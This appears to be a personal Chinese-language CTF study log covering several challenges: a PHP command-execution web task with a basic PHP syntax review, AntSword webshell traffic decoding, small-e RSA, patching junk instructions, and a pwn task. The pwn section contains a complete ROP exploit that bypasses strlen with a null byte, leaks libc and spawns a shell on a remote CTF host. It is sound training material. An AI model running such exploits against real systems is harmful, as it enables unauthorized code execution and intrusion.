2025.2.7
Web [LitCTF 2023]PHP是世界上最好的语言!!:
这个题要知道php代码命令怎么写:
首先是基础语法最常用的标签是 <?php ... ?>,比如:<?php
echo "Hello, World!";
?>
其中还有注释。注释是代码中的说明性文字,不会被执行。PHP支持两种注释方式:
-
- 单行注释:使用 // 或 #
- 多行注释:使用 /* ... */
还有变量:PHP中的变量以 $ 符号开头,后面跟变量名。变量名区分大小写。比如:$message = "Hello, World!";
echo $message;
还有数据类型:PHP支持多种数据类型,包括字符串、整数、浮点数、布尔值、数组和对象等。比如:$string = "Hello";
$integer = 42;
$float = 3.14;
$boolean = true;
$array = array(1, 2, 3, 4, 5);
$object = new stdClass();
还有运算符:
PHP支持多种运算符,包括算术运算符、赋值运算符、比较运算符、逻辑运算符等。比如:
$a = 5;
$b = 10;
$sum = $a + $b; // 算术运算符
$a += 5; // 赋值运算符
$isGreater = $a > $b; // 比较运算符
$andResult = $a > 0 && $b > 0; // 逻辑运算符
还有控制结构:PHP支持多种控制结构,如条件语句和循环语句。比如: // 条件语句
if ($a > $b) {
echo "a is greater than b";
} else {
echo "a is not greater than b";
}
// 循环语句
for ($i = 0; $i < 10; $i++) {
echo $i;
}
其次还有函数:函数是一段可以重复使用的代码块。比如使用 function 关键字来定义函数
function greet($name) {
return "Hello, " . $name;
}
echo greet("Alice");这里我自己总结了一点php常用函数
还有类和对象:PHP支持面向对象编程(OOP)。您可以使用 class 关键字来定义类,并使用 new 关键字来创建对象。比如:class Person {
public $name;
public function __construct($name) {
$this->name = $name;
}
public function greet() {
return "Hello, " . $this->name;
}
}
$person = new Person("Bob");
echo $person->greet();
根据题目,flag在目录里打开懵了,差点以为自己进错网站了
先看源代码,有没有跟flag有关的信息
在尝试一下,工具能用
尝试一下,应该能用
先看ls,有变化
ok,在查看上一级目录,看见flag
然后得到flag
MISC [LitCTF 2024]女装照流量:
这个题要知道过滤特定HTTP方法:
- 过滤GET请求:http.request.method == "GET"
- 过滤POST请求:http.request.method == "POST"
还有蚁剑的流量为url编码+base64混淆。我们需要先进行url解密,在进行base解密
统计一看,http占大多数看了半天发现了个压缩包
直接进行binwalk分离,得到压缩包,要密码
不用多说,密码肯定在流量里面,在tcp26直接解码
再将得到的最后两行删掉"参数名,&,="后 base64 解密得到密码
得到密码后直接解压得到flag
CRYPTO [LitCTF 2024]small_e;
解压得到一个程序分析程序:
该程序是一个使用RSA加密算法的简单实现,用于加密一个字符串(flag)并将其密文输出。程序首先生成两个1024位的大素数p和q,然后计算它们的乘积n作为模数。接着,选择一个小的正整数e(在这个例子中为3)作为加密指数。对于字符串flag中的每个字符,程序计算其ASCII值的e次方模n,并将结果存储在c_list列表中。最后,程序输出模数n和密文列表c_list。直接写一个脚本得到flag:LitCTF{you_know_m_equ4l_cub3_root_0f_n}
REVERSE [HNCTF 2022 WEEK2]e@sy_flower:
个人推荐不了解花指令的朋友去看这篇文章:
https://blog.csdn.net/Sciurdae/article/details/133750478
先查壳,32位ida打开
先搜索,看见flag看见花指令
找到花指令
因为上面写的是loc_4010D4 +1所以我们只需要把0x4010D4地址的机械码E9这一位改成0x90即nop指令即可。将E9改成90
随后到main函数最开头按p,就得到
直接查看反编译
分析代码:第一段代码看上去的作用应该是把字符串里的顺序重新排列了一下,循环的次数就是字符串的长度除以2.
第二段代码的作用就是正常的异或字符串,然后循环次数就是字符串的长度。
字符串也在第二段代码中,现在所有的解题元素都有了。
说实话只要看懂这两段代码你就会发现基本上没有什么要修改的内容,直接照搬代码就行了。
总结就是:思路就是输入的flag先互换位置,再与0x30异或。
用逆向脚本得到flag
pwn [LitCTF 2023]狠狠的溢出涅~:
先连接尝试,结果没有
先查壳,一个是64 另一个也是64
题目提供了libc,用不到LibcSearcher,直接反编译 main函数存在栈溢出漏洞,但是程序使用strlen防止用户进行栈溢出。使用\x00截断strlen函数即可,然后就是常规的ROP链。
我们只需要使用\x00绕过strlen函数即可。于是得到EXP:
from PwnModules import *
#io = process('./pwn4')
io = remote('node4.anna.nssctf.cn', 28413)
elf = ELF('./pwn41')
libc = ELF('/home/kaguya/PwnExp/libc-2.31.so')
context(arch='amd64', os='linux', log_level='debug')
Padding = b'\x00' + b'A' * (0x60 - 0x01 + 0x08)
rdi = 0x4007D3
ret = 0x400556
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main = elf.sym['main']
Payload = Padding + p64(rdi) + p64(puts_got) + p64(puts_plt) + p64(main)
io.sendline(Payload)
io.recvuntil(b'Ok,Message Received\n')
addr = leak_addr(2, io)
print(hex(addr))
base = addr - libc.sym['puts']
system = base + libc.sym['system']
binsh = base + next(libc.search(b'/bin/sh\x00'))
Payload = Padding + p64(ret) + p64(rdi) + p64(binsh) + p64(system)
io.sendline(Payload)
io.interactive()
运行得到flag